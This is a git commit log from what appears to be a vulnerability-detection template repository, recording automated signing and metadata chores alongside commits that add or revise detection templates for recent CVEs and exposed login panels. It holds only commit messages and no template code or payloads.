* Update pocket-id-panel.yaml

---------

Co-authored-by: Abdullah Saeed <[email protected]>
Co-authored-by: Roberto Nunes <[email protected]>
2026-11-02 10:32:24 +05:30
ghost 5968f57682 chore: generate templates checksum 🤖 2026-11-02 04:44:41 +00:00
ghost 528a6d7bd3 chore: generate new addition list 🤖 2026-11-02 04:42:12 +00:00
ghost 4d0f2633e2 chore: generate CVEs metadata 🤖 2026-11-02 04:41:49 +00:00
ghost 3598610c5c chore: sign templates 🤖 2026-11-02 04:41:44 +00:00
Aman Rawat 449c4e4c00 Merge pull request #17639 from projectdiscovery/CVE-2026-116366
CVE-2026-116366 - ClickHouse Server - Brotli v1.2.0 Decoder DoS/OOB-Write
2026-11-02 10:11:22 +05:30
ghost fa4e0519cf chore: generate templates checksum 🤖 2026-11-02 04:36:52 +00:00
ghost 6693781eae chore: generate new addition list 🤖 2026-11-02 04:35:16 +00:00
ghost 2ea9b0c463 chore: sign templates 🤖 2026-11-02 04:34:38 +00:00
ghost 421ba8bfc3 chore: generate new addition list 🤖 2026-11-02 04:34:22 +00:00
Aman Rawat dbf2651820 Merge pull request #17604 from rafaelsoje/add-infisical-panel
Add Infisical login panel detection template
2026-11-02 10:04:15 +05:30
ghost a21cbc7a3b chore: generate CVEs metadata 🤖 2026-11-02 04:33:58 +00:00
ghost 2d3ab64c78 chore: sign templates 🤖 2026-11-02 04:33:54 +00:00
Aman Rawat 15f5380184 Merge pull request #17605 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-96652.yaml - Plex Media Server < 1.43.3.10861 - Unauthenticated SSRF via Companion Protocol (plex2shell)
2026-11-02 10:03:33 +05:30
Roberto Nunes c1111222da Update haproxy-status.yaml 2026-11-02 13:22:44 +09:00
Dhiyaneshwaran 490a384e33 CVE-2026-116366 - ClickHouse Server - Brotli v1.2.0 Decoder DoS/OOB-Write 2026-11-02 09:48:01 +05:30
Dhiyaneshwaran ca50661304 Update azure-domain-tenant.yaml 2026-11-02 08:39:29 +05:30
Dhiyaneshwaran 40e7c7d214 Update CVE-2026-88804.yaml 2026-11-02 08:27:32 +05:30
ghost 9bc9a8716d chore: generate templates checksum 🤖 2026-11-02 02:06:42 +00:00
ghost 613aac0068 chore: sign templates 🤖 2026-11-02 02:03:49 +00:00
ghost 37eb3fa402 chore: update EPSS scores 🤖 2026-11-02 02:03:26 +00:00
ghost ca848f19b9 chore: generate templates checksum 🤖 2026-11-01 03:12:12 +00:00
ghost 3f1be65e86 chore: sign templates 🤖 2026-11-01 03:09:19 +00:00
ghost 344479c69a chore: update KEV and vKEV tags and metadata 🤖 2026-11-01 03:08:54 +00:00
ghost 272c1d6715 chore: generate templates checksum 🤖 2026-11-01 02:06:30 +00:00
ghost a6382495a4 chore: sign templates 🤖 2026-11-01 02:03:41 +00:00
ghost ae5b11049a chore: update EPSS scores 🤖 2026-11-01 02:03:12 +00:00
Felix 5e78e85982 Add Version extractor for haproxy status page 2026-10-31 22:41:43 +00:00
Felix 06b2e1ffb1 Update azure tenant detection 2026-10-31 15:47:37 +00:00
codinggeek13 4408bd6bea Added bwapp-default-login template 2026-10-31 14:07:20 +05:00
ghost e6adf540f1 chore: generate templates checksum 🤖 2026-10-31 03:11:03 +00:00
ghost cc8feeac0d chore: sign templates 🤖 2026-10-31 03:08:03 +00:00
ghost 661b4e3c81 chore: update KEV and vKEV tags and metadata 🤖 2026-10-31 03:07:36 +00:00
ghost d315ce7c7a chore: generate templates checksum 🤖 2026-10-31 02:06:38 +00:00
ghost 2ab060a098 chore: sign templates 🤖 2026-10-31 02:03:53 +00:00
ghost 688bfdddd5 chore: update EPSS scores 🤖 2026-10-31 02:03:25 +00:00
Alex Ryabov 7fd72f2fb4 Add Drupal Commerce order route access bypass detector 2026-10-30 14:00:30 -07:00
R0gfall e5527d160b Add CVE-2026-88804 template 2026-10-30 16:53:14 +03:00
Rafael Soje 701e014747 Add Coolify login panel detection template
Adds a new template for detecting exposed Coolify login panels.
2026-10-30 00:13:40 -03:00
ghost 5cfe87d584 chore: generate templates checksum 🤖 2026-10-30 03:13:01 +00:00
ghost d9b7a64a04 chore: sign templates 🤖 2026-10-30 03:10:07 +00:00
ghost 20cce37649 chore: update KEV and vKEV tags and metadata 🤖 2026-10-30 03:09:41 +00:00
Roberto Nunes b94e77bd22 Update CVE-2026-96652.yaml 2026-10-30 11:28:20 +09:00
Dhiyaneshwaran 21f18a5700 Update CVE-2026-116690.yaml 2026-10-30 07:50:27 +05:30
Dhiyaneshwaran feb6084c9b Update infisical-panel.yaml 2026-10-30 07:43:09 +05:30
Roberto Nunes 55f1fd5dd1 Create CVE-2026-96652.yaml 2026-10-30 11:09:42 +09:00
ghost c47f1a2328 chore: generate templates checksum 🤖 2026-10-30 02:07:49 +00:00
ghost ef32be9fa6 chore: sign templates 🤖 2026-10-30 02:04:47 +00:00
ghost af5df4a087 chore: update EPSS scores 🤖 2026-10-30 02:04:18 +00:00
Rafael Soje d14d880311 Add Infisical login panel detection template 2026-10-29 21:40:26 -03:00
ghost 59e4c9f988 chore: generate templates checksum 🤖 2026-10-29 16:59:36 +00:00
ghost 4ec6f0a3dd chore: generate new addition list 🤖 2026-10-29 16:57:24 +00:00
ghost 477988ef6d chore: sign templates 🤖 2026-10-29 16:56:35 +00:00
Aman Rawat 211dcd44fc Merge pull request #17596 from Exploit-Garbage/add-nuuo-crystal-server-unauth-file-upload
Add NUUO Crystal Server 3.19.0.85 unauthenticated file upload template
2026-10-29 22:26:15 +05:30
github-actions[bot] b0ac61011d chore: add impact and remediation fields 🤖 2026-10-29 16:52:07 +00:00
ghost 5a38f68d14 chore: generate new addition list 🤖 2026-10-29 16:52:03 +00:00
ghost 77f4367216 chore: generate CVEs metadata 🤖 2026-10-29 16:51:23 +00:00
Aman Rawat 227c6494ef Merge pull request #17583 from kosoyyagent/cve-2026-116748
Add CVE-2026-116748 - Transmission permissive CORS exposing RPC session id
2026-10-29 22:20:58 +05:30
shaivarth 6c74877481 fix: prevent false positive in una-cms-rce
Signed-off-by: shaivarth <[email protected]>
2026-10-29 21:17:19 +05:30
ghost dcb45914bb chore: generate templates checksum 🤖 2026-10-29 08:09:41 +00:00
ghost 24b5515618 chore: sign templates 🤖 2026-10-29 08:07:01 +00:00
ghost b921b31ad3 chore: generate templates checksum 🤖 2026-10-29 08:06:26 +00:00
ghost 896b12b7d8 chore: generate new addition list 🤖 2026-10-29 08:05:16 +00:00
ghost b23177494f chore: generate templates checksum 🤖 2026-10-29 08:05:11 +00:00
github-actions[bot] 097a87da42 chore: add impact and remediation fields 🤖 2026-10-29 08:05:07 +00:00
ghost 473d7158a5 chore: generate new addition list 🤖 2026-10-29 08:05:04 +00:00
ghost 6379758334 chore: generate new addition list 🤖 2026-10-29 08:04:35 +00:00
ghost eecab65905 chore: generate CVEs metadata 🤖 2026-10-29 08:04:27 +00:00
ghost bec81474d2 chore: sign templates 🤖 2026-10-29 08:04:22 +00:00
ArjunSecurinandRoberto Nunes 21bebd312e Add CVE-2023-31719 - FUXA < 1.2.4 - Unauthenticated SQL Injection (#17588)
* Add CVE-2023-31719 - FUXA < 1.2.4 - Unauthenticated SQL Injection

* Update CVE-2023-31719.yaml

---------

Co-authored-by: Roberto Nunes <[email protected]>
2026-10-29 13:34:20 +05:30
Roberto Nunes dd718fdf51 Merge pull request #17569 from anirbala98/add-cve-2026-14554
Add CVE-2026-14554 - WordPress plugin Check & Log Email < 2.0.15 - Authenticated SQL Injection
2026-10-29 17:04:02 +09:00
ghost 2398e511dc chore: sign templates 🤖 2026-10-29 08:03:56 +00:00
Ritik Chaddha f7abd44685 Create CVE-2026-34151.yaml (#17599) 2026-10-29 13:33:46 +05:30
Roberto Nunes 646975d05d Merge pull request #17495 from cham423/springboot-x-application-context-fix
springboot-x-application-context: fix word matcher that never matches
2026-10-29 17:03:36 +09:00
ghost 80fc568e90 chore: sign templates 🤖 2026-10-29 08:03:29 +00:00
Roberto Nunes db7f3365c8 Merge pull request #17492 from kadewu/missing-tag
missing intrusive tag in code/cves/2022/CVE-2022-42475.yaml
2026-10-29 17:03:07 +09:00
ghost 1571451e26 chore: generate new addition list 🤖 2026-10-29 08:02:46 +00:00
ghost 147857c83d chore: generate CVEs metadata 🤖 2026-10-29 08:02:24 +00:00
ghost 5f87202ffe chore: sign templates 🤖 2026-10-29 08:02:15 +00:00
Roberto Nunes 3b12c60cd5 Merge pull request #17587 from ArjunSecurin/add-cve-2023-54335
Add CVE-2023-54335 - eXtplorer <= 2.1.14 - Authentication Bypass
2026-10-29 17:01:55 +09:00
Ashish Pulivarthy ddbfabd4c8 Add CVE-2026-116690 details for MLflow vulnerability 2026-10-29 10:48:41 +04:00
ghost 54c5fa3e7f chore: generate templates checksum 🤖 2026-10-29 03:13:06 +00:00
ghost eabc948480 chore: sign templates 🤖 2026-10-29 03:10:10 +00:00
ghost e00f9fbef9 chore: update KEV and vKEV tags and metadata 🤖 2026-10-29 03:09:41 +00:00
ghost 64cf94fc18 chore: generate templates checksum 🤖 2026-10-29 02:07:41 +00:00
ghost 23d1bf11a4 chore: sign templates 🤖 2026-10-29 02:04:35 +00:00
ghost 424ad4aefd chore: update EPSS scores 🤖 2026-10-29 02:04:06 +00:00
ghost e0a55a8783 chore: generate templates checksum 🤖 2026-10-28 23:09:21 +00:00
ghost 93c9282c9d chore: generate new addition list 🤖 2026-10-28 23:06:40 +00:00
ghost 265221d9c7 chore: generate CVEs metadata 🤖 2026-10-28 23:06:05 +00:00
ghost 7948df84d9 chore: sign templates 🤖 2026-10-28 23:06:00 +00:00
Ritik Chaddha 44a45b76cb Create CVE-2026-48048.yaml (#17598) 2026-10-29 04:35:37 +05:30
ghost 4f43282cc2 chore: generate new addition list 🤖 2026-10-28 18:08:23 +00:00
ghost 45e3b99485 chore: generate templates checksum 🤖 2026-10-28 18:04:24 +00:00
ghost 01f73764ae chore: sign templates 🤖 2026-10-28 18:01:43 +00:00
Ritik Chaddha 1c3ce1f496 Merge pull request #17524 from kosoyyagent/diafan-xss
Add diafan-cms-xss - Diafan CMS 6.0 reflected XSS
2026-10-28 23:31:15 +05:30
ghost ed46004a2b chore: generate templates checksum 🤖 2026-10-28 17:33:24 +00:00
ghost a6806aa498 chore: generate new addition list 🤖 2026-10-28 17:31:06 +00:00
ghost 06a6d642f4 chore: generate CVEs metadata 🤖 2026-10-28 17:30:27 +00:00
Ritik Chaddha 2aa81601b0 Merge pull request #17502 from ashish-cybersec/CVE-2026-55864
CVE-2026-55864 | GeoNetwork - Unauthenticated SSRF (SLD Tool)
2026-10-28 23:00:01 +05:30
ghost 393009022c chore: sign templates 🤖 2026-10-28 17:29:37 +00:00
Ritik Chaddha 820eece804 Merge pull request #17508 from mayoubmalik1-blip/add-dvwa-setup-template
Added dvwa-setup template
2026-10-28 22:59:17 +05:30
Ritik Chaddha 70b552ac07 Update diafan-cms-xss.yaml 2026-10-28 22:59:07 +05:30
ghost 5d208d0c05 chore: generate new addition list 🤖 2026-10-28 17:27:52 +00:00
ghost e33bacbc10 chore: sign templates 🤖 2026-10-28 17:27:19 +00:00
ghost 2f4161c8b6 chore: generate CVEs metadata 🤖 2026-10-28 17:27:14 +00:00
Ritik Chaddha 06fc61d906 Merge pull request #17479 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-104736.yaml - LearnPress <= 4.4.9.1 - Unauthenticated PHP Object Injection
2026-10-28 22:56:46 +05:30
Ritik Chaddha cc7bf44ff2 Merge pull request #17593 from goosvorbook/patch-3
Revise deprecated TLS detection and remediation
2026-10-28 22:56:39 +05:30
Ritik Chaddha ef98217eb3 Update CVE-2026-55864.yaml 2026-10-28 22:55:18 +05:30
ghost dfe40655cd chore: generate new addition list 🤖 2026-10-28 17:24:13 +00:00
ghost d1d0af5580 chore: sign templates 🤖 2026-10-28 17:23:53 +00:00
Ritik Chaddha 75a5264dd3 Merge pull request #17510 from Shaivarth/fix/azure-pipelines-false-positive
fix: reduce false positives in Azure Pipelines exposure template
2026-10-28 22:53:32 +05:30
Ritik Chaddha 7c4758904b Merge pull request #17482 from prathampawar-21/fix-composer-auth-json-fp
Fix false positive in composer-auth-json and correct typo
2026-10-28 22:53:23 +05:30
Ritik Chaddha e453989587 Merge pull request #17407 from comradezephyr/patch-19
Create CVE-2026-102489.yaml
2026-10-28 22:53:10 +05:30
Ritik Chaddha a046a8ac90 Update CVE-2026-104736.yaml 2026-10-28 22:52:32 +05:30
Dhiyaneshwaran b7ce616cbf Update and rename nuuo-crystal-server-unauth-file-upload.yaml to nuuo-unauth-rce.yaml 2026-10-28 22:44:21 +05:30
ghost 6143fa3550 chore: generate templates checksum 🤖 2026-10-28 08:09:21 +00:00
ghost ab4ad935c0 chore: generate new addition list 🤖 2026-10-28 08:06:56 +00:00
ghost 4560cd5b5d chore: generate CVEs metadata 🤖 2026-10-28 08:06:19 +00:00
ghost 88ce6663bd chore: sign templates 🤖 2026-10-28 08:06:16 +00:00
Alex Ryabov bb4ae7c19c Add CVE-2026-110447 Collabora CODE command injection template (#17434)
* Add CVE-2026-110447 Collabora CODE command injection template

* Update Collabora detection flow after maintainer review

* Align Collabora template details with maintainer wording
2026-10-28 13:35:54 +05:30
Exploit-Garbage cba2a33596 Add NUUO Crystal Server 3.19.0.85 unauthenticated file upload template 2026-10-28 15:13:20 +08:00
Dhiyaneshwaran 01feba8788 Update CVE-2026-116748.yaml 2026-10-28 12:18:48 +05:30
ghost 7d4cf54ebf chore: generate templates checksum 🤖 2026-10-28 06:44:57 +00:00
ghost b94ef2ab8c chore: generate new addition list 🤖 2026-10-28 06:43:49 +00:00
ghost ed558f07df chore: generate CVEs metadata 🤖 2026-10-28 06:43:18 +00:00
ghost 2538634bc2 chore: sign templates 🤖 2026-10-28 06:43:13 +00:00
ghost 56498d4095 chore: generate new addition list 🤖 2026-10-28 06:43:10 +00:00
Aman Rawat f0be99b481 Merge pull request #17565 from kosoyyagent/cve-2026-116167
Add CVE-2026-116167 - SiYuan check-auth unauthenticated XSS
2026-10-28 12:12:50 +05:30
ghost 99b570c3be chore: generate CVEs metadata 🤖 2026-10-28 06:42:33 +00:00
ghost ea968c1270 chore: sign templates 🤖 2026-10-28 06:42:26 +00:00
Aman Rawat 5250c2a45d Merge pull request #17539 from kosoyyagent/cve-2026-115886
Add CVE-2026-115886 - MLflow unauthenticated SSRF via third-party scorer
2026-10-28 12:12:03 +05:30
Dhiyaneshwaran edc34268c2 Update CVE-2026-116748.yaml 2026-10-28 12:10:45 +05:30
Dhiyaneshwaran e0eb8678ee Update CVE-2026-116167.yaml 2026-10-28 12:01:55 +05:30
ghost 407ff638ff chore: generate templates checksum 🤖 2026-10-28 06:17:46 +00:00
ghost 05951269d9 chore: generate new addition list 🤖 2026-10-28 06:15:38 +00:00
ghost 69f6aa149d chore: generate CVEs metadata 🤖 2026-10-28 06:15:01 +00:00
ghost 2180de1c27 chore: sign templates 🤖 2026-10-28 06:14:56 +00:00
Aman Rawat 5822bf5b25 Merge pull request #17580 from kosoyyagent/cve-2026-116070-dockerproxy
feat(cves): add CVE-2026-116070 - Docker-Proxy hubcmdui /api/config missing auth
2026-10-28 11:44:35 +05:30
Dhiyaneshwaran fda40475ac Update CVE-2026-115886.yaml 2026-10-28 11:41:53 +05:30
Dhiyaneshwaran bcb720bcb8 Update CVE-2026-115886.yaml 2026-10-28 10:42:40 +05:30
ghost 8495996b36 chore: generate templates checksum 🤖 2026-10-28 05:00:27 +00:00
ghost 8e7e3f316e chore: generate new addition list 🤖 2026-10-28 04:58:03 +00:00
ghost 6667aafb05 chore: generate CVEs metadata 🤖 2026-10-28 04:57:40 +00:00
ghost abf9d2351c chore: sign templates 🤖 2026-10-28 04:57:35 +00:00
Roberto NunesandDhiyaneshwaran a15634cfe9 Create CVE-2026-108123.yaml - WP Booking System <= 2.1.0.3 - Unauthenticated Email Log Disclosure (#17595)
* Create CVE-2026-108123.yaml

* Update CVE-2026-108123.yaml

* Update CVE-2026-108123.yaml

---------

Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-10-28 10:27:14 +05:30
ghost 6fa96535a8 chore: generate templates checksum 🤖 2026-10-28 04:47:03 +00:00
ghost 94fa901a7d chore: generate new addition list 🤖 2026-10-28 04:45:37 +00:00
ghost c5b24701c1 chore: generate CVEs metadata 🤖 2026-10-28 04:45:00 +00:00
ghost fca3ea79b3 chore: sign templates 🤖 2026-10-28 04:44:53 +00:00
ghost b2f662a122 chore: generate new addition list 🤖 2026-10-28 04:44:45 +00:00
ArjunSecurinandRoberto Nunes 84103754f2 Add CVE-2026-24898 - OpenEMR < 8.0.0 - MedEx Callback Unauthenticated Token Disclosure (#17589)
* Add CVE-2026-24898 - OpenEMR < 8.0.0 - MedEx Callback Unauthenticated Token Disclosure

* Update CVE-2026-24898.yaml

---------

Co-authored-by: Roberto Nunes <[email protected]>
2026-10-28 10:14:32 +05:30
ghost 7f05982db6 chore: sign templates 🤖 2026-10-28 04:44:07 +00:00
0352da4c08 Add Tailscale panel detection template (#17540)
* Add Tailscale panel detection template

* Update tailscale-panel.yaml

* Update tailscale-panel.yaml

---------

Co-authored-by: Roberto Nunes <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-10-28 10:13:44 +05:30
Dhiyaneshwaran 22faa84f47 Update CVE-2026-116167.yaml 2026-10-28 09:58:18 +05:30
Dhiyaneshwaran 388445ef32 Update CVE-2026-116070.yaml 2026-10-28 09:21:07 +05:30
Dhiyaneshwaran 6d6e857844 Update CVE-2023-54335.yaml 2026-10-28 09:08:45 +05:30
ghost c46dd11898 chore: generate templates checksum 🤖 2026-10-28 03:13:00 +00:00
Dhiyaneshwaran 97ec213c03 Update CVE-2026-12970.yaml 2026-10-28 08:40:31 +05:30
ghost f6d22cef24 chore: sign templates 🤖 2026-10-28 03:09:57 +00:00
ghost ae913e95df chore: update KEV and vKEV tags and metadata 🤖 2026-10-28 03:09:32 +00:00
Dhiyaneshwaran 79d0a60ac9 Refactor CVE-2026-53468.yaml for injection flow 2026-10-28 08:04:34 +05:30
ghost d3e4475d03 chore: generate templates checksum 🤖 2026-10-28 02:07:35 +00:00
ghost fe1cc3796f chore: sign templates 🤖 2026-10-28 02:04:52 +00:00
ghost 28915b5c8d chore: update EPSS scores 🤖 2026-10-28 02:04:21 +00:00
ghost 6702d8d901 chore: generate templates checksum 🤖 2026-10-27 22:05:57 +00:00
ghost ed4cac4434 chore: generate new addition list 🤖 2026-10-27 22:03:34 +00:00
ghost 7e6e875551 chore: sign templates 🤖 2026-10-27 22:02:50 +00:00
Roberto Nunes 19d00d393a Merge pull request #17517 from Boreas37/CVE-2026-85595
Add CVE-2026-85595 (Traefik digestAuth authentication bypass) template
2026-10-28 05:02:26 +07:00
Goos 4e94a4b551 Revise deprecated TLS detection and remediation
Updated the detection of deprecated SSL/TLS protocols to include SSL 2.0, SSL 3.0, TLS 1.0, and TLS 1.1. Enhanced remediation steps and added references for better guidance.
2026-10-27 18:34:57 +01:00
Dhiyaneshwaran ec1f4e3a9d Update diafan-cms-xss.yaml 2026-10-27 18:43:40 +05:30
Aman Rawat d49e2a17ba Update CVE-2026-85595.yaml 2026-10-27 15:33:50 +05:30
ArjunSecurin a19c48b084 Add CVE-2023-54335 - eXtplorer <= 2.1.14 - Authentication Bypass 2026-10-27 08:12:35 +00:00
kosoyyagent 63cf76ef18 Add deterministic validation-reached matcher; validated on MLflow 3.16.0 (vulnerable) and 3.17.0 (fixed) 2026-10-27 10:52:30 +03:00
Aman Rawat 914b0d2b2b Update CVE-2026-55864.yaml 2026-10-27 13:09:23 +05:30
kosoyyagent dc6388b029 Add CVE-2026-116817 - OpenPanel unauthenticated Bull Board 2026-10-27 10:20:46 +03:00
ghost ecfecad2de chore: generate templates checksum 🤖 2026-10-27 07:04:18 +00:00
ghost 94c4d72215 chore: generate new addition list 🤖 2026-10-27 07:02:37 +00:00
ghost 8bca7f7c61 chore: generate CVEs metadata 🤖 2026-10-27 07:01:53 +00:00
ghost dd2dcf3f82 chore: sign templates 🤖 2026-10-27 07:01:43 +00:00
Roberto Nunes fa881f08d5 Merge pull request #17567 from kosoyyagent/cve-2026-116205
Add CVE-2026-116205 - YesWiki unauthenticated SSRF via raw inclusion syntax
2026-10-27 14:01:25 +07:00
Aman Rawat 8a88b1d74b Update dvwa-setup.yaml 2026-10-27 12:27:44 +05:30
kosoyyagent 46c7dde071 Add CVE-2026-116748 - Transmission permissive CORS exposing RPC session id 2026-10-27 09:56:30 +03:00
Roberto Nunes 70621d62bc Add version gate check for fix weak matcher detect
Updated HTTP requests and matchers for CVE-2026-116205 to improve detection logic.
2026-10-27 15:55:11 +09:00
ghost 3413d8ff9b chore: generate templates checksum 🤖 2026-10-27 06:50:30 +00:00
ghost 34cb52ed5a chore: generate new addition list 🤖 2026-10-27 06:48:56 +00:00
ghost 900975d234 chore: generate templates checksum 🤖 2026-10-27 06:48:43 +00:00
ghost d020509258 chore: sign templates 🤖 2026-10-27 06:48:16 +00:00
Roberto Nunes d77b9d6852 Merge pull request #17564 from icarot/main
Create lighter-config.yaml
2026-10-27 13:47:54 +07:00
ghost dc03241430 chore: generate new addition list 🤖 2026-10-27 06:46:45 +00:00
ghost ead5cf963c chore: generate CVEs metadata 🤖 2026-10-27 06:46:09 +00:00
ghost b24210469d chore: sign templates 🤖 2026-10-27 06:46:05 +00:00
Roberto Nunes b690d2f05b Merge pull request #17577 from kosoyyagent/cve-2026-116485-danmu
feat(cves): add CVE-2026-116485 - danmu_api default-token admin API auth bypass
2026-10-27 13:45:42 +07:00
Aman Rawat 9ee170ad6c Update lighter-config.yaml 2026-10-27 12:11:55 +05:30
Aman Rawat d44846aabd Update CVE-2026-116205.yaml 2026-10-27 12:06:34 +05:30
Aman Rawat 1c998205c9 Update CVE-2026-116485.yaml 2026-10-27 11:58:38 +05:30
kosoyyagent f62651391f add CVE-2026-116070 2026-10-27 09:28:33 +03:00
ghost 850dbc9383 chore: generate templates checksum 🤖 2026-10-27 06:11:25 +00:00
ghost de89ccdfed chore: generate new addition list 🤖 2026-10-27 06:09:35 +00:00
ghost 21c67407c5 chore: generate CVEs metadata 🤖 2026-10-27 06:09:05 +00:00
ghost c8e2eb5d31 chore: generate new addition list 🤖 2026-10-27 06:09:00 +00:00
ghost fc2cc5daf3 chore: sign templates 🤖 2026-10-27 06:08:53 +00:00
Aman Rawat 31e0a9e031 Merge pull request #17575 from projectdiscovery/Akokonunes-patch-12
Create CVE-2026-105134.yaml - AhsayCBS <= 10.3.4 - Unauthenticated RCE via Replication Path Traversal
2026-10-27 11:38:35 +05:30
ghost c1f3ed43e2 chore: sign templates 🤖 2026-10-27 06:08:33 +00:00
Aman Rawat 980c4dcfc6 Merge pull request #17571 from HaroonArshad-53/add-CVE-2026-18051
Add CVE-2026-18051 template
2026-10-27 11:38:11 +05:30
kosoyyagent 0fdb843b90 add CVE-2026-116485 2026-10-27 09:01:45 +03:00
Roberto Nunes b55f299f5e Update CVE-2026-18051.yaml 2026-10-27 12:38:01 +09:00
ghost d5c8c6b309 chore: generate templates checksum 🤖 2026-10-27 03:16:08 +00:00
ghost 2ad5cd34bf chore: sign templates 🤖 2026-10-27 03:13:13 +00:00
ghost 99a0cca127 chore: update KEV and vKEV tags and metadata 🤖 2026-10-27 03:12:51 +00:00
ghost db7c6022ac chore: generate templates checksum 🤖 2026-10-27 02:12:18 +00:00
ghost 3d783b5adc chore: sign templates 🤖 2026-10-27 02:10:46 +00:00
Roberto Nunes 41459b59fd Update CVE-2026-109618.yaml (#17573) 2026-10-27 07:40:23 +05:30
ghost c3ed0c038c chore: sign templates 🤖 2026-10-27 02:09:31 +00:00
ghost da4253e606 chore: update EPSS scores 🤖 2026-10-27 02:09:04 +00:00
Roberto Nunes 974cf59150 Create CVE-2026-105134.yaml 2026-10-27 11:04:45 +09:00
Haroon Arshad f47c6d667e add CVE-2026-18051 template
Added CVE-2026-18051 details for W3 Total Cache vulnerability, including impact, remediation, and HTTP request flow.
2026-10-26 20:35:36 +00:00
anirbala98 a8aa6d1f0a Add CVE-2026-14554.yaml 2026-10-26 11:43:30 -04:00
kosoyyagent 97430f22ce Add CVE-2026-116205 - YesWiki unauthenticated SSRF 2026-10-26 15:31:32 +03:00
kosoyyagent d5751045b1 Add CVE-2026-116167 - SiYuan check-auth unauthenticated XSS 2026-10-26 15:29:31 +03:00
ghost 22f1a14a7f chore: generate templates checksum 🤖 2026-10-26 11:43:33 +00:00
ghost 39742bf018 chore: generate new addition list 🤖 2026-10-26 11:41:15 +00:00
ghost 4909737977 chore: generate CVEs metadata 🤖 2026-10-26 11:40:39 +00:00
ghost 3f7bac6936 chore: sign templates 🤖 2026-10-26 11:40:33 +00:00
Roberto Nunes 0e5939dae5 Merge pull request #17521 from sandiyochristan/add-CVE-2026-10525
Added CVE-2026-10525 - NEX-Forms Unauthenticated Stored XSS Template
2026-10-26 18:40:10 +07:00
ghost d108d42fe5 chore: generate templates checksum 🤖 2026-10-26 11:32:02 +00:00
github-actions[bot] 21e76c5e07 chore: add impact and remediation fields 🤖 2026-10-26 11:30:03 +00:00
ghost 22148785c0 chore: generate new addition list 🤖 2026-10-26 11:29:46 +00:00
ghost d484c90e20 chore: generate new addition list 🤖 2026-10-26 11:29:38 +00:00
ghost 9243d4c357 chore: generate CVEs metadata 🤖 2026-10-26 11:29:14 +00:00
ghost 915b69afcf chore: sign templates 🤖 2026-10-26 11:29:09 +00:00
Roberto Nunes c455d123e9 Merge pull request #17526 from kosoyyagent/huang-upload
Add huang-yaoshi-file-upload - unauthenticated arbitrary file upload
2026-10-26 18:28:45 +07:00
Roberto Nunes 4b5f31905d Merge pull request #17542 from kosoyyagent/cve-2026-116006
Add CVE-2026-116006 - ruoyi-vue-pro predictable SMS code admin takeover
2026-10-26 18:28:37 +07:00
Icaro Torres e705a1d2cb Create lighter-config.yaml
Detects if the config page of the Lighter server is exposed, it is an opensource REST application for interacting with Apache Spark on Kubernetes or Apache Hadoop YARN.
2026-10-26 08:26:19 -03:00
Abdullah Shahid 9b16b03462 Enhance CVE-2026-109619.yaml with passive detection
Added a passive detection method for PHP versions vulnerable to CVE-2026-109619, including limitations on detection accuracy.
2026-10-26 04:15:44 -07:00
Ritik Chaddha 29b631955b Update CVE-2026-116006.yaml 2026-10-26 16:05:23 +05:30
Aman Rawat d406586cb7 Update CVE-2026-10525.yaml 2026-10-26 15:45:48 +05:30
Aman Rawat 7a946e80a2 Update 2026-10-26 14:21:22 +05:30
ghost e4820f0a25 chore: generate templates checksum 🤖 2026-10-26 08:43:14 +00:00
ghost 8684c4054a chore: generate new addition list 🤖 2026-10-26 08:42:47 +00:00
ghost fc399a8448 chore: generate new addition list 🤖 2026-10-26 08:42:34 +00:00
github-actions[bot] 073b087469 chore: add impact and remediation fields 🤖 2026-10-26 08:42:28 +00:00
ghost dad956e52b chore: sign templates 🤖 2026-10-26 08:42:21 +00:00
Roberto Nunes 44d79048e9 Merge pull request #17481 from prathampawar-21/fix-rails-secret-token-fp
Fix false positive in rails-secret-token-disclosure and correct typo
2026-10-26 15:41:59 +07:00
Roberto Nunes 13685b5c38 Merge pull request #17509 from anirbala98/add-cve-2026-16959
Add CVE-2026-16959 - WordPress plugin Media Library Assistant < 3.40 - Authenticated SQL Injection
2026-10-26 15:41:38 +07:00
Roberto Nunes 1bfb03ccb0 Merge pull request #17471 from HaroonArshad-53/add-CVE-2026-9848
Add CVE-2026-9848 - WP Ticket unauthenticated SQL injection
2026-10-26 15:41:27 +07:00
ghost da05209c3b chore: generate new addition list 🤖 2026-10-26 08:40:56 +00:00
ghost 95880f5d55 chore: generate CVEs metadata 🤖 2026-10-26 08:40:18 +00:00
ghost 65ae5e632f chore: sign templates 🤖 2026-10-26 08:40:11 +00:00
Roberto Nunes 872512fba0 Merge pull request #17558 from projectdiscovery/CVE-2026-93485
CVE-2026-93485 - WordPress Core < 7.1.1 - Unauthenticated Stored XSS via Comment (Comment2Shell)
2026-10-26 15:39:50 +07:00
github-actions[bot] f7a1d34ff0 chore: add impact and remediation fields 🤖 2026-10-26 08:38:07 +00:00
ghost 18e2e21b52 chore: generate new addition list 🤖 2026-10-26 08:37:51 +00:00
ghost 905b45c68b chore: generate new addition list 🤖 2026-10-26 08:37:29 +00:00
ghost f327647773 chore: generate CVEs metadata 🤖 2026-10-26 08:37:27 +00:00
ghost e0aaf44c08 chore: sign templates 🤖 2026-10-26 08:37:19 +00:00
Aman Rawat 10befd404e Merge pull request #17527 from kosoyyagent/cve-2026-97359
Add CVE-2026-97359 - Rejetto HFS 2.4.x filename template injection RCE
2026-10-26 14:06:57 +05:30
ghost c352201749 chore: generate CVEs metadata 🤖 2026-10-26 08:36:49 +00:00
ghost 16fb5e60a7 chore: sign templates 🤖 2026-10-26 08:36:37 +00:00
Aman Rawat 521ef2a34c Merge pull request #17494 from anirbala98/add-cve-2026-11565
Add CVE-2026-11565 - WordPress plugin Advanced File Manager < 5.4.13 - Authenticated Arbitrary File Read
2026-10-26 14:06:17 +05:30
Ritik Chaddha c8455dfff6 Update CVE-2026-97359.yaml 2026-10-26 13:59:12 +05:30
Ritik Chaddha 56db754af0 Update CVE-2026-16959.yaml 2026-10-26 13:51:54 +05:30
Ritik Chaddha 3e384b7b92 Update CVE-2026-11565.yaml 2026-10-26 13:50:03 +05:30
ghost 71c2733022 chore: generate templates checksum 🤖 2026-10-26 06:12:05 +00:00
ghost b90ad5eb41 chore: sign templates 🤖 2026-10-26 06:09:08 +00:00
Aman Rawat 9aeeb19c93 Merge pull request #17496 from N0rmalizer/main
Add open redirect bypass payload to YAML file
2026-10-26 11:38:49 +05:30
